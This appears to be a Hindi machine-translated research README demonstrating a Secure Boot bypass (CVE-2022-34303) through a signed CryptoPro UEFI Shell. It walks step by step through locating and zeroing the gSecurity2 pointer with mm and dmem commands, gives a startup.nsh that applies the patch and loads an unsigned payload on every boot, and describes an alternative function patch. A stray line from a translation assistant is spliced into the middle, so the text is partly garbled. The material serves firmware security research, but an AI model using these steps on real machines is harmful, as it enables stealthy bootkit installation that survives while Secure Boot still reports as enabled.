themalwareguardian/cve-2022-34303CVE-2022-34303 Secure Boot बायपास को CryptoPro हस्ताक्षरित UEFI Shell के माध्यम से प्रदर्शित करता है, जिसमें gSecurity2 को शून्य करने और अहस्ताक्षरित UEFI अनुप्रयोगों को लोड करने के लिए mm कमांड का उपयोग किया जाता है।
CryptoPro Secure Disk UEFI Shell - अपना स्वयं का भेद्य UEFI एप्लिकेशन लाएं (BYOVUA) - हस्ताक्षरित UEFI Shell और gSecurity2 भ्रष्टाचार के माध्यम से Secure Boot बायपास।
यह रिपॉजिटरी BYOVUA (अपना स्वयं का भेद्य UEFI एप्लिकेशन लाएं) तकनीक का प्रदर्शन करती है, जो CVE-2022-34303 का शोषण करती है, जो CryptoPro Secure Disk UEFI बूट वातावरण में एक Secure Boot बायपास भेद्यता है।
इस मामले में, Secure Boot द्वारा विश्वसनीय माना जाने वाला घटक एक कस्टम शिम है जिस पर Microsoft के UEFI Third Party Certificate Authority द्वारा हस्ताक्षरित किया गया है। एक बार निष्पादित होने पर, यह शिम एक दूसरे चरण के रूप में एक UEFI Shell लोड करता है, जो mm (मेमोरी संशोधन) कमांड को उजागर करता है और इसलिए प्री-OS बूट चरण के दौरान मनमाना मेमोरी पढ़ने और लिखने की क्षमता प्रदान करता है।
इस प्रिमिटिव का उपयोग तब DXE कोर में gSecurity2 ग्लोबल पॉइंटर का पता लगाने और उसे शून्य करने के लिए किया जा सकता है। परिणामस्वरूप, बाद का UEFI इमेज सत्यापन अक्षम हो जाता है, जिससे Secure Boot सक्षम होने के बावजूद अहस्ताक्षरित UEFI एप्लिकेशन, बूटकिट्स, लोड किए जा सकते हैं।
BYOVUA, कर्नेल स्तर पर उपयोग की जाने वाली BYOVD (अपना स्वयं का भेद्य ड्राइवर लाएं) तकनीक का UEFI समकक्ष है। एक भेद्यता वाले हस्ताक्षरित कर्नेल ड्राइवर लाने के बजाय, हमलावर एक हस्ताक्षरित UEFI एप्लिकेशन लाता है - इस मामले में, एक पूर्ण UEFI Shell - जिसमें Secure Boot को कमजोर करने में सक्षम कार्यक्षमता होती है।
चूंकि एप्लिकेशन - इस मामले में, वह कस्टम शिम जो UEFI Shell को दूसरे चरण के रूप में लोड करता है - Microsoft-विश्वसनीय प्रमाणपत्र के साथ हस्ताक्षरित है, इसे Secure Boot द्वारा बिना किसी प्रश्न के स्वीकार कर लिया जाता है, जिससे यह किसी भी सिस्टम पर विश्वसनीय हो जाता है जिसमें यह प्रमाणपत्र अपने Secure Boot डेटाबेस (db) में शामिल है - जो पिछले दशक में भेजे गए लगभग हर UEFI-सक्षम PC में है। एक बार चलने पर, इसके अंतर्निहित कमांड हमलावर को सीधी हार्डवेयर और मेमोरी पहुंच प्रदान करते हैं जो ऑपरेटिंग सिस्टम लोड होने से पहले संचालित होती है, ऐसे वातावरण में जहां आधुनिक सुरक्षा नियंत्रण (ASLR, DEP, कर्नेल सुरक्षा) बस मौजूद नहीं हैं।
Shell_Full.efi एक UEFI Shell है जिसे CryptoPro Secure Disk के हिस्से के रूप में वितरित किया जाता है, जो एक प्री-बूट प्रमाणीकरण और डिस्क एन्क्रिप्शन उत्पाद है।
| गुण | मान |
|---|
| फ़ाइल | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| विक्रेता | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| हस्ताक्षर | Microsoft Corporation UEFI CA 2011 (Third Party) |
| खोज | Eclypsium (Mickey Shkatov, Jesse Michael) - अगस्त 2022 |
| प्रस्तुति | DEF CON 30 - "One Bootloader to Load Them All" |
| निरसन | Microsoft KB5012170 (अगस्त 2022) के माध्यम से DBX में जोड़ा गया |
भेद्यता एक बग नहीं है - यह एक डिज़ाइन दोष है। UEFI Shells वैध नैदानिक उपकरण हैं जिन्हें Secure Boot वातावरण में चलाने के लिए कभी नहीं बनाया गया था। हालांकि, उन्हें Microsoft-विश्वसनीय प्रमाणपत्र के साथ हस्ताक्षरित करके और व्यावसायिक उत्पादों के हिस्से के रूप में वितरित करके, विक्रेताओं ने अनजाने में Secure Boot के लिए एक हस्ताक्षरित बायपास बना दिया।
मूल समस्या: एक हस्ताक्षरित बाइनरी जो Secure Boot द्वारा विश्वसनीय है, अपने अंतर्निहित कमांड के माध्यम से अप्रतिबंधित मेमोरी पढ़ने/लिखने की क्षमता प्रदान करती है। यह संयोजन पूरे Secure Boot विश्वास मॉडल को तोड़ देता है।
mm (मेमोरी संशोधन) कमांड एक मानक UEFI Shell अंतर्निहित कमांड है जो सिस्टम मेमोरी तक सीधी पढ़ने और लिखने की पहुंच प्रदान करता है। यह UEFI Shell Specification (अनुभाग 5.3) में प्रलेखित है।```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| पैरामीटर | विवरण |
|-----------|-------------|
| `Address` | लक्ष्य मेमोरी पता |
| `Value` | लिखने का मान (केवल-पढ़ने के लिए छोड़ें) |
| `-w` | चौड़ाई: 1, 2, 4, या 8 बाइट्स |
| `-MEM` | सिस्टम मेमोरी एक्सेस |
| `-MMIO` | मेमोरी-मैप्ड I/O |
| `-IO` | I/O पोर्ट एक्सेस |
| `-n` | गैर-इंटरैक्टिव (अगले पते के लिए कोई प्रॉम्प्ट नहीं) |
---
<div id='gsecurity2'/>
### ***gSecurity2 और सुरक्षा आर्किटेक्चरल प्रोटोकॉल***
UEFI में सिक्योर बूट इमेज सत्यापन [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) के माध्यम से लागू किया जाता है, जो UEFI Platform Initialization (PI) Specification में परिभाषित हैं।
DXE कोर (DxeMain) एक ग्लोबल पॉइंटर बनाए रखता है जिसे [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) कहा जाता है, जो `EFI_SECURITY2_ARCH_PROTOCOL` संरचना की ओर इंगित करता है। इस प्रोटोकॉल में एक ही फंक्शन पॉइंटर होता है - `FileAuthenticationState` - जिसे `LoadImage()` द्वारा हर बार UEFI इमेज लोड होने पर कॉल किया जाता है:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
जब LoadImage() को कॉल किया जाता है, तो DXE core जाँच करता है:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
`gSecurity2 = NULL` सेट करके, `if` जाँच विफल हो जाती है और `FileAuthenticationState` कभी कॉल नहीं होता। इमेज सत्यापन पूरी तरह से छोड़ दिया जाता है - **Secure Boot "सक्षम" रहता है लेकिन अब लागू नहीं होता**। इसके बाद अहस्ताक्षरित UEFI एप्लिकेशन स्वतंत्र रूप से लोड किए जा सकते हैं।
इस तकनीक की गहरी तकनीकी समझ के लिए, जिसमें एक उद्देश्य-निर्मित UEFI एप्लिकेशन शामिल है जो स्वचालित रूप से gSecurity2 का पता लगाता है और पैच करता है, साथी प्रोजेक्ट देखें: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)।
---
<div id='BYOVD'/>
### ***Kernel BYOVD के साथ समानांतर***
UEFI BYOVUA और kernel BYOVD के बीच संरचनात्मक समानांतर बिल्कुल सटीक है:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
दोनों हमले एक ही मूलभूत कमी का फायदा उठाते हैं: एक हस्ताक्षरित घटक जिस पर कोई सुरक्षा तंत्र भरोसा करता है, उसी तंत्र को निष्क्रिय करने के लिए आवश्यक प्राथमिकता प्रदान करता है।
हस्ताक्षरित Shell_Full.efi को EFI सिस्टम पार्टीशन (ESP) पर रखा जाता है और बूट विकल्प के रूप में कॉन्फ़िगर किया जाता है। चूंकि यह Secure Boot द्वारा विश्वसनीय प्रमाणपत्र श्रृंखला से हस्ताक्षरित है, फर्मवेयर इसे बिना किसी समस्या के सत्यापित और लोड करता है।```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***चरण 2 - Security2 प्रोटोकॉल हैंडल की गणना करें***
UEFI Shell से, लक्ष्य उस हैंडल को खोजना है जो `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) को उजागर करता है और उसके प्रोटोकॉल इंटरफ़ेस का मेमोरी पता प्राप्त करना है।
> **नोट:** `dh -p <GUID>` कमांड अधिकांश EDK2 Shell बिल्ड्स में कच्चे GUIDs को हल नहीं करता - यह केवल पंजीकृत प्रोटोकॉल नामों को पहचानता है। नीचे दिया गया दृष्टिकोण किसी भी EDK2 Shell संस्करण पर काम करता है।
**चरण 1 - SecurityStubDxe हैंडल खोजें**
सभी हैंडल्स की सूची बनाएं और `SecurityStubDxe` को खोजें, जो वह DXE ड्राइवर है जो दोनों Security Architectural Protocols को इंस्टॉल करता है:```
Shell> dh
आउटपुट में, SecurityStubDxe के रूप में लोड किए गए हैंडल की पहचान करें:```
10: Image(SecurityStubDxe)
**चरण 2 - आसन्न हैंडल का निरीक्षण करें**
`SecurityStubDxe` सुरक्षा प्रोटोकॉल को एक अलग हैंडल पर इंस्टॉल करता है, आमतौर पर उसके ठीक बाद वाले हैंडल पर। ये हैंडल संक्षिप्त लिस्टिंग में खाली दिखाई देते हैं क्योंकि Shell उनके GUIDs को मित्रवत नामों में मैप नहीं कर सकता। उन्हें verbose मोड के साथ निरीक्षित करें:```
Shell> dh -v 11
Expected output:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
यदि हैंडल `0x11` में ये GUIDs नहीं हैं, तो `0x12` आज़माएँ - सटीक हैंडल संख्या फर्मवेयर बिल्ड्स के बीच भिन्न होती है।
**चरण 3 - इंटरफ़ेस पता रिकॉर्ड करें**
दो प्रोटोकॉल और उनके इंटरफ़ेस पते ये हैं:
| GUID | प्रोटोकॉल | इंटरफ़ेस पता |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 इंटरफ़ेस पता** (इस उदाहरण में `0x3EE8C3A0`) वह मान है जो DxeMain के अंदर `gSecurity2` ग्लोबल पॉइंटर द्वारा संग्रहीत किया जाता है। यह मान चरण 3 के लिए आवश्यक है।
---
<div id='Phase3'/>
### ***चरण 3 - मेमोरी में gSecurity2 का पता लगाएँ***
`gSecurity2` वेरिएबल DXE कोर (`DxeMain`) के अंदर एक ग्लोबल पॉइंटर है। इसका मान चरण 2 में पाए गए प्रोटोकॉल इंटरफ़ेस पते के बराबर होता है। लक्ष्य उस मेमोरी पते को खोजना है जहाँ यह पॉइंटर संग्रहीत है - पॉइंटर का मान नहीं, बल्कि वेरिएबल स्वयं।
**चरण 1 - DXE कोर इमेज लेआउट प्राप्त करें**```
Shell> dh -v 1
I understand. Please provide the Markdown content (chunk 21 of 67) that you would like me to translate from English to Hindi. I will follow all the rules you have specified.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
`ImageBase` रिकॉर्ड करें (`0x3FE94000`)।
**चरण 2 - `.data` सेक्शन खोजने के लिए PE हेडर पार्स करें**
`.data` सेक्शन में इनिशियलाइज़ किए गए ग्लोबल वेरिएबल्स शामिल होते हैं, जिनमें `gSecurity2` भी शामिल है। पूरी इमेज को आँख बंद करके स्कैन करने के बजाय, सटीक `.data` सीमाओं को खोजने के लिए PE हेडर पार्स करें।
PE हेडर ऑफ़सेट प्राप्त करने के लिए MZ हेडर पढ़ें (ऑफ़सेट `0x3C` पर DWORD):```
Shell> dmem <ImageBase> 100
आउटपुट में, ImageBase से ऑफ़सेट 0x3C को देखें। उदाहरण के लिए, यदि ImageBase 0x3FE94000 है:```
3FE9403C: C0 00 00 00
इसका मतलब है कि PE हस्ताक्षर `ImageBase` से ऑफ़सेट `0xC0` पर है।
**चरण 3 - सेक्शन तालिका पढ़ें**
सेक्शन तालिका ऑफ़सेट की गणना इस प्रकार की जाती है:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
COFF हेडर को पढ़कर SizeOfOptionalHeader (PE_offset + 20 पर WORD) प्राप्त करें:```
Shell> dmem <ImageBase + PE_offset> 20
PE32+ (x64) UEFI इमेज के लिए, `SizeOfOptionalHeader` आमतौर पर `0xF0` होता है। हमारे उदाहरण में:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
सेक्शन तालिका डंप करें (5 सेक्शन × 40 बाइट्स = 200 बाइट्स):``` Shell> dmem 3FE941C8 140
प्रत्येक सेक्शन प्रविष्टि 40 बाइट्स की होती है:
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
`.data` सेक्शन प्रविष्टि को खोजें। उदाहरण आउटपुट:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calculate the absolute .data boundaries:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**चरण 4 - इंटरफ़ेस पॉइंटर के लिए `.data` को स्कैन करें**
`.data` रेंज के भीतर little-endian बाइट क्रम में Security2 इंटरफ़ेस पता खोजें। `0x3EE8C3A0` के इंटरफ़ेस पते के लिए, इसे खोजें:```
A0 C3 E8 3E 00 00 00 00
data_start से शुरू होकर 0x200-बाइट ब्लॉकों में स्कैन करें:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
`.data` रेंज के माध्यम से तब तक जारी रखें जब तक आप बाइट अनुक्रम न पा लें। `gSecurity` (Security1) और `gSecurity2` (Security2) पॉइंटर क्रमागत रूप से संग्रहीत होते हैं, इसलिए दोनों मानों को एक-दूसरे से सटे हुए खोजें:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
सुझाव:
.dataसेक्शन में EFI System Table संरचनाएँ (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV) भी होती हैं। सुरक्षा पॉइंटर आमतौर पर इन संरचनाओं के बाद स्थित होते हैं। यदि स्कैन करते समय आपको ये सिग्नेचर दिखाई दें, तो आगे बढ़ते रहें - आप करीब पहुँच रहे हैं।
चरण 5 - पते की पुष्टि करें
सटीक स्थान पढ़कर सत्यापित करें:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
0x3FEB0C08 पता वह स्थान है जहाँ gSecurity2 संग्रहीत है - यह Phase 4 का लक्ष्य है।
एक बार gSecurity2 वेरिएबल का पता ज्ञात हो जाने पर, एक ही mm कमांड Secure Boot सत्यापन को अक्षम कर देता है:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **नोट:** `mm` कमांड एड्रेस आर्ग्युमेंट पर `0x` प्रीफ़िक्स स्वीकार नहीं कर सकता। सीधे रॉ हेक्साडेसिमल एड्रेस का उपयोग करें।
उदाहरण:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
यह gSecurity2 पॉइंटर पर 8 बाइट शून्य लिखता है। DXE कोर अब LoadImage() में सभी इमेज सत्यापन जाँचों को छोड़ देगा।
पैच को सत्यापित करने के लिए:``` Shell> dmem <gSecurity2_address> 10
पहले 8 बाइट्स `00 00 00 00 00 00 00 00` पढ़े जाने चाहिए:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
ध्यान दें कि gSecurity (Security1, दूसरा qword) अक्षुण्ण रहता है - केवल Security2 को शून्य किया जाता है, जो LoadImage() सत्यापन को बायपास करने के लिए पर्याप्त है।
gSecurity2 को शून्य करने के बाद, किसी भी UEFI अनुप्रयोग को उसकी हस्ताक्षर स्थिति की परवाह किए बिना लोड किया जा सकता है:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
या ड्राइवरों के लिए `load` का उपयोग करके:```
Shell> load fs1:\MyUnsignedDriver.efi
ऑपरेटिंग सिस्टम अभी शुरू नहीं हुआ है। इस बिंदु पर लोड किया गया कोई भी UEFI एप्लिकेशन पूर्ण हार्डवेयर एक्सेस के साथ चलता है, किसी भी OS-स्तरीय सुरक्षा नियंत्रण के आरंभ होने से पहले।
UEFI Shell प्रत्येक लॉन्च पर वर्तमान निर्देशिका या ESP रूट से startup.nsh को स्वचालित रूप से निष्पादित करता है। इस स्क्रिप्ट में mm पैच को एन्कोड करके, Secure Boot बायपास प्रत्येक बूट पर स्वचालित रूप से निष्पादित होता है:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
उदाहरण:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
सिस्टम Secure Boot को "enabled" के रूप में रिपोर्ट करना जारी रखता है - केवल रनटाइम प्रवर्तन अक्षम है। यह हमले को OS-स्तरीय Secure Boot स्थिति क्वेरीज़ के लिए अदृश्य बना देता है।
महत्वपूर्ण:
gSecurity2पता (इस उदाहरण में0x3FEB0C08) फर्मवेयर बिल्ड के लिए विशिष्ट है। यदि फर्मवेयर अपडेट या पुनःसंकलित किया जाता है, तो Phases 2 और 3 को दोहराकर पते की पुनर्गणना की जानी चाहिए।
gSecurity2 पता खोजना फर्मवेयर-विशिष्ट है और जब भी फर्मवेयर अपडेट या पुनःसंकलित किया जाता है तो इसे दोहराया जाना चाहिए। उच्च-स्तरीय प्रक्रिया यह है:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
दो दृष्टिकोण प्रदान किए गए हैं:
**दृष्टिकोण A - FileAuthenticationState को पैच करना:** सत्यापन फ़ंक्शन के पहले 4 बाइट्स को `xor rax, rax; ret` (`48 31 C0 C3`) से अधिलेखित करता है, जिससे यह बिना कोई जाँच किए EFI_SUCCESS लौटाता है। यह दृष्टिकोण Security2 प्रोटोकॉल इंटरफ़ेस के माध्यम से फ़ंक्शन पॉइंटर को हल करने के लिए `dh`, `dmem`, और `mm` कमांड का उपयोग करता है और इसमें DxeMain मेमोरी को खोजने की आवश्यकता नहीं होती है।
**दृष्टिकोण B - gSecurity2 पॉइंटर को शून्य करना:** DxeMain के `.data` सेक्शन के अंदर gSecurity2 ग्लोबल वेरिएबल का पता लगाता है और उसमें NULL लिखता है। यह वह तकनीक है जिसका वर्णन Eclypsium ने BombShell प्रकटीकरण में किया है और जिसे [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) रिपॉज़िटरी में प्रोग्रामेटिक रूप से लागू किया गया है। इस दृष्टिकोण के लिए `.data` सेक्शन की सीमाओं को खोजने के लिए DxeMain के PE हेडर को पार्स करना आवश्यक है, फिर पॉइंटर पते का पता लगाने के लिए `dmem` के साथ मैन्युअल रूप से मेमोरी को स्कैन करना होता है।
दोनों स्क्रिप्ट को चरण-दर-चरण अनुसरण करने के लिए डिज़ाइन किया गया है, जिसमें प्रत्येक कमांड को समझाया गया है। पहले उन्हें इंटरैक्टिव रूप से चलाएँ, फिर एक बार लक्ष्य फ़र्मवेयर के लिए सही पते ज्ञात हो जाने पर, प्रत्येक बूट पर स्वचालित निष्पादन के लिए एक `startup.nsh` बनाएँ।
---
---
---
<div id='LabSetup'/>
## ***Lab Setup***
### DBX (Forbidden Signature Database)
हस्ताक्षरित शेल को KB5012170 (अगस्त 2022) के माध्यम से Microsoft की DBX निरस्तीकरण सूची में जोड़ा गया है। अद्यतन किए गए सिस्टम पर, शेल को Secure Boot द्वारा अस्वीकार कर दिया जाएगा।
लैब वातावरण के लिए, आपको एक ऐसे सिस्टम की आवश्यकता है जहाँ:
- DBX को इस विशिष्ट शेल के लिए निरस्तीकरण प्रविष्टि के साथ अद्यतन नहीं किया गया हो
- या DBX खाली हो (डिफ़ॉल्ट Secure Boot कुंजियों वाला ताज़ा VM)
- या आप कस्टम Secure Boot कुंजी नामांकन के साथ QEMU/OVMF वातावरण का उपयोग करें
[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) इसके लिए एक स्वचालित सेटअप प्रदान करता है।
### विकल्प: mm कमांड वाला कोई भी हस्ताक्षरित UEFI शेल
यह तकनीक `Shell_Full.efi` के लिए विशिष्ट नहीं है। कोई भी UEFI Shell जो `mm` कमांड को उजागर करता है और एक विश्वसनीय प्रमाणपत्र (Microsoft CA या OEM-विशिष्ट) के साथ हस्ताक्षरित है, उसका उपयोग किया जा सकता है। जैसा कि Eclypsium की [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) शोध (अक्टूबर 2025) में प्रलेखित है, खतरनाक क्षमताओं वाले हस्ताक्षरित UEFI शेल कई विक्रेताओं के उत्पादों में पाए गए हैं, जिनमें Framework लैपटॉप (लगभग 200,000 उपकरणों को प्रभावित करने वाले) शामिल हैं।
---
---
---
<div id='References'/>
## ***References***
### Directly Related
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - ज्ञात कमजोर हस्ताक्षरित UEFI अनुप्रयोगों का क्यूरेटेड संग्रह
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2 भ्रष्टाचार तकनीक का गहन तकनीकी विश्लेषण, जिसमें एक विशेष रूप से निर्मित UEFI अनुप्रयोग शामिल है जो स्वचालित रूप से पॉइंटर का पता लगाता है और उसे पैच करता है
### Eclypsium Research
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nsh स्क्रिप्टिंग के साथ मेमोरी हेरफेर के लिए हस्ताक्षरित UEFI शेल का उपयोग करने पर शोध
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301, CVE-2022-34302, CVE-2022-34303 का खुलासा करने वाला मूल Eclypsium शोध
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey Shkatov और Jesse Michael की प्रस्तुति
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - अक्टूबर 2025 का शोध जो Framework लैपटॉप (200k उपकरण प्रभावित) पर mm कमांड gSecurity2 हमले का प्रदर्शन करता है
### UEFI Specifications
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mm और dh कमांड के लिए दस्तावेज़ीकरण
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2 ग्लोबल पॉइंटर के लिए स्रोत कोड संदर्भ
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocol की आधिकारिक परिभाषा
### Advisories
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)